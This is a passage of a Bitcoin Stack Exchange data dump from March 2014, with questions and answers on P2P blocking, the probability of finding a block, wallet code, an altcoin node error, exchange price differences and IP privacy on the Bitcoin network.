  <row Id="22963" PostTypeId="1" CreationDate="2014-03-03T11:53:18.643" Score="1" ViewCount="327" Body="&lt;p&gt;My university network admins seem to block P2P networks. So I can't download totally legit Linux distros via BitTorrent ;-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, this also affects Bitcoin wallets such as MultiBit or Bitcoin Wallet on Android.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can they block all the P2P while leaving other services working? How do I make the client connect?&lt;/p&gt;&#xA;" OwnerUserId="13670" LastActivityDate="2016-09-04T17:12:55.637" Title="Network admin blocks P2P, Bitcoin clients can't connect" Tags="|network|multibit|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22964" PostTypeId="5" CreationDate="2014-03-03T12:39:27.833" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-03-03T12:39:27.833" LastActivityDate="2014-03-03T12:39:27.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22965" PostTypeId="4" CreationDate="2014-03-03T12:39:27.833" Score="0" Body="Referring to the European Central Bank." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-03-04T19:19:30.787" LastActivityDate="2014-03-04T19:19:30.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22966" PostTypeId="5" CreationDate="2014-03-03T12:52:04.943" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-03-03T12:52:04.943" LastActivityDate="2014-03-03T12:52:04.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22967" PostTypeId="4" CreationDate="2014-03-03T12:52:04.943" Score="0" Body="Gateways are entities in the Ripple network that provide an entry point to the network by accepting deposits and issuing IOUs for them." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-03-04T19:19:37.380" LastActivityDate="2014-03-04T19:19:37.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22968" PostTypeId="5" CreationDate="2014-03-03T12:55:53.833" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-03-03T12:55:53.833" LastActivityDate="2014-03-03T12:55:53.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22969" PostTypeId="4" CreationDate="2014-03-03T12:55:53.833" Score="0" Body="For questions relating to the protocol by which specifically bitcoins are transferred. Also see protocol." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-03-04T02:52:15.373" LastActivityDate="2014-03-04T02:52:15.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22970" PostTypeId="5" CreationDate="2014-03-03T13:00:15.820" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-03-03T13:00:15.820" LastActivityDate="2014-03-03T13:00:15.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22971" PostTypeId="4" CreationDate="2014-03-03T13:00:15.820" Score="0" Body="Refers to the very first block of a new blockchain based cryptocurrency." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-03-04T02:51:26.213" LastActivityDate="2014-03-04T02:51:26.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22972" PostTypeId="2" ParentId="22963" CreationDate="2014-03-03T13:25:58.720" Score="1" Body="&lt;p&gt;You can use a proxy with &lt;code&gt;-proxy&lt;/code&gt;, a VPN, or Tor. &lt;/p&gt;&#xA;" OwnerUserId="13413" LastActivityDate="2014-03-03T13:25:58.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22973" PostTypeId="2" ParentId="19702" CreationDate="2014-03-03T13:43:58.590" Score="0" Body="&lt;p&gt;create a table in the db named user_addresses if the user clicks on generate address first query the db if the user have any address stored with his ID if yes show that address to the user if not query the bitcoin daemon with RPC&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function GetDepositAddress($account)&#xA;    {&#xA;            return $this-&amp;gt;Client-&amp;gt;getaccountaddress($account);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where $account has the username of the user generating this address this way you can use single daemon to host multiple addresses &lt;/p&gt;&#xA;" OwnerUserId="10829" LastActivityDate="2014-03-03T13:43:58.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22978" PostTypeId="1" CreationDate="2014-03-03T15:16:09.293" Score="16" ViewCount="1783" Body="&lt;p&gt;How do we know the HASH function will produce an output that fulfills the difficulty, i.e. is below 0000...xxxx...xxx? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible that no proof will be found so that the HASH will produce that output 000...xxx...?&lt;/p&gt;&#xA;" OwnerUserId="14096" LastEditorUserId="5406" LastEditDate="2014-09-07T07:40:03.900" LastActivityDate="2017-02-19T12:00:28.340" Title="How can we be sure that a new block will be found?" Tags="|hash|proof-of-work|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22981" PostTypeId="2" ParentId="5436" CreationDate="2014-03-03T17:36:45.380" Score="0" Body="&lt;p&gt;I've had some pretty good luck with Cryptostocks.com. Not all of the things on that site are things I would condone. There's a lot of stock for groups that do orchestrated pump and dumps. But they also have miners and companies that are building economies for cryptocurrencies, which I approve of. It takes all kinds, I guess.&lt;/p&gt;&#xA;" OwnerUserId="11003" LastActivityDate="2014-03-03T17:36:45.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22982" PostTypeId="2" ParentId="22962" CreationDate="2014-03-03T17:38:08.757" Score="-2" Body="&lt;p&gt;No such support exists in the bitcoin protocol. Use a different receiving address for every transaction to uniquely identify them, if you do this correctly then no external labels are necessary. &lt;/p&gt;&#xA;" OwnerUserId="13413" LastActivityDate="2014-03-03T17:38:08.757" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22983" PostTypeId="2" ParentId="22963" CreationDate="2014-03-03T17:39:56.943" Score="0" Body="&lt;p&gt;This is exactly why they invented Tor. If you use Firefox, there's an app called proxy switcher, that lets you run back and forth from your regular connection to the Tor network. It's not that difficult to install and configure. And even though Tor isn't perfect, it's great for this particular use.&lt;/p&gt;&#xA;" OwnerUserId="11003" LastActivityDate="2014-03-03T17:39:56.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22984" PostTypeId="2" ParentId="22978" CreationDate="2014-03-03T17:45:14.963" Score="14" Body="&lt;p&gt;The important thing here is, that every mining pool/solo miner is working on a &lt;strong&gt;different input&lt;/strong&gt;: They have different coinbase transactions and are working on different sets of transactions. Further entropy can be added by changing the nonce and extra-nonce, by adding another transaction, or by changing the order of the transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While there can be block inputs that won't succeed with any nonce, the complete network traverses over so many different inputs, that at some point a valid block will be discovered. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Finding a block is a Poisson process&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Due to the hashing process being implemented as a &lt;a href=&quot;https://en.wikipedia.org/wiki/Poisson_process&quot; rel=&quot;noreferrer&quot;&gt;Poisson process&lt;/a&gt;, if the network's hashing power matches the difficulty, the expected time to find the next block is exactly &lt;a href=&quot;https://bitcoin.stackexchange.com/q/3909/5406&quot;&gt;10 minutes&lt;/a&gt; at every point of time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The probability of a number of &lt;code&gt;X&lt;/code&gt; blocks to be found in a time frame in which you would expect to find &lt;code&gt;λ&lt;/code&gt; blocks can be calculated with the following &lt;a href=&quot;https://de.wikibooks.org/wiki/Mathematik:_Statistik:_Poissonverteilung&quot; rel=&quot;noreferrer&quot;&gt;formula&lt;/a&gt;:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/WKAab.png&quot; alt=&quot;Probability of a number of occurrences varying from the expected occurrences&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in order to calculate the likelihood of an interval between blocks to be longer than the mean (10 minutes in an ideal world) by a factor &lt;code&gt;λ&lt;/code&gt; we get &lt;code&gt;p(0|λ) = exp(-λ)*(λ^0)/(0!) = exp(-λ)*1/1 = exp(-λ)&lt;/code&gt;, e.g. the likelihood for a block interval to be&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;more than 10 minutes is 36.8%&lt;/li&gt;&#xA;&lt;li&gt;more than 20 minutes is 13.5%&lt;/li&gt;&#xA;&lt;li&gt;more than 30 minutes is 5.0%&lt;/li&gt;&#xA;&lt;li&gt;more than 1 hour is 0.25%&lt;/li&gt;&#xA;&lt;li&gt;more than 2 hours is 0.0006%&lt;/li&gt;&#xA;&lt;li&gt;more than a day is 2.89*exp(-63)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;While it is not impossible that longer times occur, it is extremely unlikely to happen.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Additional random bits I stumbled upon while researching for this question&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In the last two years, the seven day average block confirmation time has never been over 15 minutes. See &lt;a href=&quot;https://blockchain.info/charts/avg-confirmation-time?timespan=2year&amp;amp;showDataPoints=false&amp;amp;daysAverageString=7&amp;amp;show_header=true&amp;amp;scale=0&amp;amp;address=&quot; rel=&quot;noreferrer&quot;&gt;Bitcoin Average Transaction Confirmation Time&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the very early days of Bitcoin, bigger fluctuations were more common due to fluctuating mining power, see for example &lt;a href=&quot;https://bitcoin.stackexchange.com/q/2324/5406&quot;&gt;What is the longest time gap between blocks in 2010 - 2011?&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find a list of all block intervals up to Jan 2014 sorted by length here: &lt;a href=&quot;http://paste.ubuntu.com/6780012/&quot; rel=&quot;noreferrer&quot;&gt;Block intervals sorted&lt;/a&gt;.&lt;br&gt;&#xA;The first column denominates the blocks forming the interval, the second column gives the block interval in seconds. Source: &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1vkp1x/what_is_the_longest_time_between_blocks_in_the/cetdjwc&quot; rel=&quot;noreferrer&quot;&gt;runeks on reddit: What is the longest time between blocks in the history of bitcoin?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2017-02-19T12:00:28.340" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22985" PostTypeId="1" CreationDate="2014-03-03T18:16:46.580" Score="2" ViewCount="101" Body="&lt;p&gt;I've been trying to get my head around the process that stops transactions from being malleable on a system built using Bitcoind. I'm pretty sure, that out of the box, right now, I'm not doing anything to solve this problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I thought I would look it up, but could not find any tutorials, or even a good explanation of the technical steps you need to take in order to stop or prevent transaction mailability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any protocol level tutorials on the subject?&#xA;Or, do you have any personal experience with this that you could share with me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for your help.&lt;/p&gt;&#xA;" OwnerUserId="11003" LastEditorUserId="5406" LastEditDate="2014-05-08T10:31:06.607" LastActivityDate="2014-05-08T10:31:06.607" Title="Transaction malleability and Bitcoind" Tags="|bitcoind|protocol|transaction-malleability|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="22986" PostTypeId="1" CreationDate="2014-03-03T18:21:00.990" Score="3" ViewCount="237" Body="&lt;p&gt;SIGHASH flags allow for the flexible alteration of a transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that there are legitimate usages of SIGHASH, and changing a Tx (and presumably the TxID as well), what is the correct way of using Sighash w.r.t. a TxID and tracking its progress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What malleability risks do SIGHASH transactions incur by virtue of their usage?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="121614" LastEditDate="2023-07-26T21:08:37.467" LastActivityDate="2023-07-26T21:08:37.467" Title="How is Transaction malleability affected by SIGHASH flags?" Tags="|multi-signature|transaction-malleability|sighash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22987" PostTypeId="2" ParentId="19459" CreationDate="2014-03-03T18:50:55.017" Score="2" Body="&lt;p&gt;It seems that XPT protocol was developed by ypool.net and there is no official specification of it.&lt;br&gt;&#xA;But it is possible to get details from the source code of &lt;a href=&quot;https://github.com/jh000/xptMiner&quot; rel=&quot;nofollow&quot;&gt;xptMiner&lt;/a&gt; or &lt;a href=&quot;https://github.com/jh000/xptProxy&quot; rel=&quot;nofollow&quot;&gt;xptProxy&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can start from &lt;a href=&quot;https://github.com/jh000/xptProxy/blob/master/src/xptProxy/xptClient.cpp&quot; rel=&quot;nofollow&quot;&gt;https://github.com/jh000/xptProxy/blob/master/src/xptProxy/xptClient.cpp&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5935" LastActivityDate="2014-03-03T18:50:55.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22988" PostTypeId="1" CreationDate="2014-03-03T18:53:15.050" Score="1" ViewCount="783" Body="&lt;p&gt;Error Message at server 2 / 3 (peers trying to connect to main server) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;root@ubuntu:~/dogequark/src# cat ~/.dogequark/dogequark.cterminate called after throwing an instance of 'std::runtime_error'&#xA;      what():  CreateNewBlock() : ConnectBlock failed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what happen when I try run my daemon at another server, I try run at another few server same issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my main server node debug.log&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1 addresses found from DNS seeds&#xA;dnsseed thread exit&#xA;addcon thread start&#xA;msghand thread start&#xA;dumpaddr thread start&#xA;init message: Done loading&#xA;GetMyExternalIP() received [198.204.236.50] 198.204.236.50:0&#xA;GetMyExternalIP() returned 198.204.236.50&#xA;AddLocal(198.204.236.50:8008,4)&#xA;accepted connection 198.204.228.10:57360&#xA;send version message: version 70001, blocks=0, us=198.204.236.50:8008, them=198.204.228.10:57360, peer=198.204.228.10:57360&#xA;Added time data, samples 2, offset -11 (+0 minutes)&#xA;Added 198.204.228.10:8008 from 198.204.228.10: 0 tried, 2 new&#xA;Moving 198.204.228.10:8008 to tried&#xA;receive version message: version 70001, blocks=0, us=198.204.236.50:8008, them=198.204.228.10:8008, peer=198.204.228.10:57360&#xA;getblocks -1 to 0000000000000000000000000000000000000000000000000000000000000000 limit 500&#xA;socket closed&#xA;disconnecting node 198.204.228.10:57360&#xA;trying connection 198.204.228.10:8008 lastseen=0.0hrs&#xA;connect() failed after select(): Connection refused&#xA;trying connection 198.204.228.10:8008 lastseen=0.0hrs&#xA;connect() failed after select(): Connection refused&#xA;trying connection 198.204.228.10:8008 lastseen=0.0hrs&#xA;connect() failed after select(): Connection refused&#xA;trying connection 198.204.228.10:8008 lastseen=0.0hrs&#xA;connect() failed after select(): Connection refused&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My conf file for main server&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcuser=username&#xA;rpcpassword=password&#xA;rpcallowip=*&#xA;port=8008&#xA;rpcport=9008&#xA;listen=1&#xA;server=1&#xA;daemon=1&#xA;gen=0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My conf file for alternate server&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcuser=username&#xA;rpcpassword=password&#xA;rpcallowip=*&#xA;port=8008&#xA;rpcport=9008&#xA;listen=1&#xA;server=1&#xA;daemon=1&#xA;gen=1&#xA;addnode=198.204.236.50&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope to get some help, I trying to learn how to launch my own coin and practice my cpp coding.&lt;/p&gt;&#xA;" OwnerUserId="14101" LastEditorUserId="14101" LastEditDate="2014-03-03T23:02:59.777" LastActivityDate="2017-02-05T04:15:52.853" Title="CreateNewBlock : ConnectBlock Fail" Tags="|bitcoind|alternatives|altcoin|compiling|quarkcoin|" AnswerCount="0" CommentCount="3" ClosedDate="2019-07-17T17:35:08.293" ContentLicense="CC BY-SA 3.0" />
  <row Id="22989" PostTypeId="1" AcceptedAnswerId="23003" CreationDate="2014-03-03T18:54:15.417" Score="18" ViewCount="25877" Body="&lt;p&gt;Where can I get all historical trades BTC price data?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(There are some similar questions, but I am looking for high-resolution data, while the previous questions asked for lower resolution data, such as daily prices.)&lt;/p&gt;&#xA;" OwnerUserId="13951" LastEditorUserId="13951" LastEditDate="2018-07-02T19:14:38.883" LastActivityDate="2019-08-02T11:41:44.157" Title="Where can I get all historical trades BTC price data?" Tags="|exchange-rate|raw-data|historical-trade-data|" AnswerCount="6" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22992" PostTypeId="1" CreationDate="2014-03-03T19:11:36.433" Score="0" ViewCount="554" Body="&lt;p&gt;I'm working on a site that has wallet-like functionality in ruby/rails. I'm wondering the best way to process withdraws. My first inclination is to do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def process_withdraw&#xA;  client.wallet_passphrase(ENV['wallet_password'], 10) # unlock the wallet for 10 seconds&#xA;  client.send_to_address(address, amount) # send coins&#xA;  client.wallet_lock # re-lock the wallet&#xA;end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I'm concerned that with many concurrent withdraws I could run into race conditions. For example, if &quot;Process A&quot; unlocks the wallet and sends coins, but then &quot;Process B&quot; jumps in and unlocks the wallet but before it can send coins, &quot;Process A&quot; locks the wallet. So when &quot;Process B&quot; tries to send, the wallet is locked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a legitimate concern? Do I need to re-lock the wallet or is it safe enough to just wait for the 10 second timeout? Is it worth writing some sort of queue system for my client? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot in advance! &lt;/p&gt;&#xA;" OwnerUserId="14102" LastEditorUserId="14102" LastEditDate="2014-03-03T19:18:50.930" LastActivityDate="2014-04-03T05:14:54.493" Title="Withdraw and wallet lock race conditions?" Tags="|bitcoind|json-rpc|dogecoin|withdrawal|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22993" PostTypeId="1" CreationDate="2014-03-03T19:23:05.300" Score="2" ViewCount="1240" Body="&lt;p&gt;Ive been looking around at the prices for bitcoins at various different exchanges and they all seem to have slightly (or wildly) different prices, why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="14103" LastActivityDate="2014-03-03T23:33:12.190" Title="Why are there different prices for bitcoins between exchanges?" Tags="|exchanges|exchange-rate|" AnswerCount="4" CommentCount="0" ClosedDate="2014-03-04T17:33:38.963" ContentLicense="CC BY-SA 3.0" />
  <row Id="22994" PostTypeId="2" ParentId="22993" CreationDate="2014-03-03T19:34:03.790" Score="0" Body="&lt;p&gt;This has been answered earlier, nevertheless, on different exchanges there are different traders who set the price, here I will use an altcoin to elaborate it more clearly. When a new coin is launched on exchange it has no value people come and deposit their coins into the exchange and they set a selling price if someone is interested to buy that coin for that price they do and this sets the price of a coin. When thousands of people start trading the same coin it become a community who then automatically starts selling their coin in the same price or +/- with the current price. No one alone(or exchange) sets the price. So different exchange have different community of traders who follow the trend of that particular exchange.&lt;/p&gt;&#xA;" OwnerUserId="10829" LastActivityDate="2014-03-03T19:34:03.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22995" PostTypeId="2" ParentId="22978" CreationDate="2014-03-03T20:33:11.467" Score="6" Body="&lt;p&gt;We can't know for absolute certain that a block will be found. However, we can roughly compute probabilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current block difficulty requires approximately 63 zero bits at the start of the hash. The probability of finding a block with one hash is approximately &lt;code&gt;2**(-63)&lt;/code&gt;. The probability of &lt;em&gt;not&lt;/em&gt; finding a block is &lt;code&gt;(1 - 2**(-63))&lt;/code&gt;. The probably, therefore, of not finding a block after &lt;code&gt;N&lt;/code&gt; hash attempts is &lt;code&gt;(1 - 2**(-63))**N&lt;/code&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current &lt;a href=&quot;https://blockchain.info/charts/hash-rate&quot; rel=&quot;noreferrer&quot;&gt;network hash rate&lt;/a&gt; is about 30,000,000 GH/s, or 3e16 H/s. In 10 minutes the network can do about 1.8e19 hashes. Using this value as &lt;code&gt;N&lt;/code&gt; above and &lt;a href=&quot;https://www.wolframalpha.com/input/?i=%281-2%5E-63%29%5E%281.8%2a10%5E19%29&quot; rel=&quot;noreferrer&quot;&gt;working out the result&lt;/a&gt; gives 0.14205174, which again is the probability of &lt;em&gt;not&lt;/em&gt; finding a block after 10 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given the above, you can extend the time and calculate some more probabilities:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;No result in one hour =&gt; 0.00000821 = 8.21e-6&lt;br&gt;&#xA;  No result in one day =&gt; 8.96e-123&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It is exceedingly unlikely that no result for a block would be found after one day.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastEditorUserId="11253" LastEditDate="2014-03-03T20:40:32.653" LastActivityDate="2014-03-03T20:40:32.653" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22997" PostTypeId="1" CreationDate="2014-03-03T21:01:12.803" Score="32" ViewCount="13681" Body="&lt;p&gt;I am wondering on how a wallet's balance is computed. Basically, from what I've read I assume that you look back at all transactions involving all the keypairs of a given wallet. Adding up all the transactions' balances (negating a transaction balance when the transaction was outbound) should match the wallet's balance, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A) Is there Python code available that computes a given wallet's balance? I am not looking for a complete wallet software, just a minimalistic (academic) Python code example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;B) If using a web service, e.g. &lt;code&gt;https://blockchain.info/q/addressbalance/$addr&lt;/code&gt;, how do I derive the address &lt;code&gt;$addr&lt;/code&gt; to query from a given wallet? Any Python code?&lt;/p&gt;&#xA;" OwnerUserId="14106" LastEditorUserId="5406" LastEditDate="2016-10-11T15:27:51.047" LastActivityDate="2017-11-25T01:54:33.637" Title="How is a wallet's balance computed?" Tags="|wallet|utxo|balance|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22998" PostTypeId="2" ParentId="4178" CreationDate="2014-03-03T21:07:49.767" Score="4" Body="&lt;p&gt;Personally I would recommend Electrum, it's a local wallet, doesn't require you to download the entire blockchain, has good features with regards to recoverability and accessibility.  Also you can run it in multiple locations at the same time (something the standard bitcoin wallet doesn't allow you to do), and you can also run it on your phone provided it's not an iPhone. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than this blockchain.com provide a good online wallet although I'm always cautious of these as you have to trust the company running the wallet not to make off with your coins. One place I would definitely suggest not leaving them is in exchange wallets, at least no more than you can afford to loose, and for when you make your cryptographic millions Cold Storage.&lt;/p&gt;&#xA;" OwnerUserId="13963" LastEditorUserId="5406" LastEditDate="2014-10-22T10:07:28.237" LastActivityDate="2014-10-22T10:07:28.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22999" PostTypeId="2" ParentId="22993" CreationDate="2014-03-03T21:18:51.220" Score="1" Body="&lt;p&gt;This behavior is not unique to Bitcoin, but you can see it more obviously because the volatility is very high.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The price is also different on Forex for say EUR/USD conversion depends on which market you are trading, but because volume is so high and volatility low we almost don't notice the price difference.&lt;/p&gt;&#xA;" OwnerDisplayName="user14107" LastActivityDate="2014-03-03T21:18:51.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23000" PostTypeId="2" ParentId="22993" CreationDate="2014-03-03T21:31:16.223" Score="0" Body="&lt;p&gt;If you are referring to the MtGox situation,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;before the BTC withdrawal halt, there were problems and delays with fiat money withdrawals. Thus, you were not trading BTC for USD, but BTC for GoxUSD. People who tried to exit MtGox could do it mostly only using the BTC way, thus they were more likely to buy BTC using their fiat money, than to sell it, and because of that, the BTC price on MtGox was slightly higher than on the other exchanges&lt;/li&gt;&#xA;&lt;li&gt;after the BTC withdrawal halt, it happened that people were more likely to escape using the fiat way. There was also a rumor, that you could get money out of gox if it was insolvent, if it was a fiat money, since BTC laws are unclear. This all meant, that people were much more likely to sell GoxBTC than buy, so the Bitcoin (or more like GoxCoin, since it was unusable out of Gox) price was plummetting down.&lt;/li&gt;&#xA;&lt;li&gt;people who tried to escape their BTC from Gox used a bitcoinbuilder.com market, which allowed them to trade GoxBTC to RealBTC. The price was more or less the trust given to MtGox by those people.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13645" LastActivityDate="2014-03-03T21:31:16.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23002" PostTypeId="2" ParentId="22993" CreationDate="2014-03-03T23:33:12.190" Score="3" Body="&lt;p&gt;Economically speaking, this can only happen if the expected cost and risk in arbitrage outweigh the expected profit. Arbitrage, in this case, would be buying coins on a cheap site and selling on an expensive one. The risk comes from the high volitility and long confirmation time. In the hour or so it takes to transfer the coins from one site to the other, it's very possible that the price could have dropped enough that you end up losing money. The  aforementioned risk is why no one has tried to take advantage of the price differences and (as a result) equalized the price.&lt;/p&gt;&#xA;" OwnerUserId="12616" LastActivityDate="2014-03-03T23:33:12.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23003" PostTypeId="2" ParentId="22989" CreationDate="2014-03-03T23:39:35.957" Score="16" Body="&lt;p&gt;&lt;a href=&quot;http://api.bitcoincharts.com/v1/csv/&quot; rel=&quot;noreferrer&quot;&gt;http://api.bitcoincharts.com/v1/csv/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each of these files have &lt;em&gt;every&lt;/em&gt; trade executed on the given exchange (except the last 15 minutes or so).&lt;/p&gt;&#xA;" OwnerUserId="12616" LastActivityDate="2014-03-03T23:39:35.957" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="23004" PostTypeId="2" ParentId="14446" CreationDate="2014-03-04T01:26:21.087" Score="3" Body="&lt;p&gt;You can not use the bitcoin address directly, but if the funds in the address have ever been spent, then you can see the public key associated with it in the blockchain, and you can encrypt with that using this python implementation: &lt;a href=&quot;https://github.com/ikndevs/jeeq&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ikndevs/jeeq&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bitcointalk discussion here: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=196378.5&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=196378.5&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14111" LastActivityDate="2014-03-04T01:26:21.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23005" PostTypeId="2" ParentId="22951" CreationDate="2014-03-04T03:02:30.893" Score="19" Body="&lt;p&gt;What you want is a MySQL Decimal field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically you want a DECIMAL(16,8)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That will give you 8 digits before the decimal and 8 after the decimal&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.1/en/precision-math-decimal-changes.html&quot;&gt;http://dev.mysql.com/doc/refman/5.1/en/precision-math-decimal-changes.html&lt;/a&gt; for details.&lt;/p&gt;&#xA;" OwnerUserId="14112" LastActivityDate="2014-03-04T03:02:30.893" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23006" PostTypeId="2" ParentId="21506" CreationDate="2014-03-04T03:16:57.577" Score="1" Body="&lt;p&gt;First, it's worth noting that getting your IP won't identify your wallet address. So they can't connect to you and then look you up on the blockchain to see who you've been trading with. Associating an address with a person takes normal investigation, like searching your computer or associating you/your IP with a post on the internet containing your address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For 1:&#xA;Unless someone logging the connections to their bitcoin client and they decide to make it public, there isn't any public record of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, what most would be worried about isn't that their IP would be publicly published, but that certain organizations may be able to identify them. One way these organizations could identify you is by running their own bitcoin client and logging their internet traffic (TCP on the port BTC uses). This would be &lt;em&gt;very&lt;/em&gt; easy to do, so if it is something you're concerned about, you should assume it is being done. (If you want to know how easy, look up wireshark. It can log all traffic on your local network.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming someone is logging IPs on the bitcoin network, the only hope of not being logged is that a singe node only connects (on average) to around 8 peers (but this is configurable). This small number means you have a somewhat small chance of connecting to them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But&lt;/strong&gt;, depending on how peer discovery works, it may also be possible to be found by the logger asking for peers. That is, there has to be some way of finding peers in the btc network. This could possibly be exploited to identify a large number of IPs connecting to the btc network. (To be explicit, I haven't studied the specific way peer discovery works, but from general understanding of programming and networks, it seems very plausible.) If this were the case, then 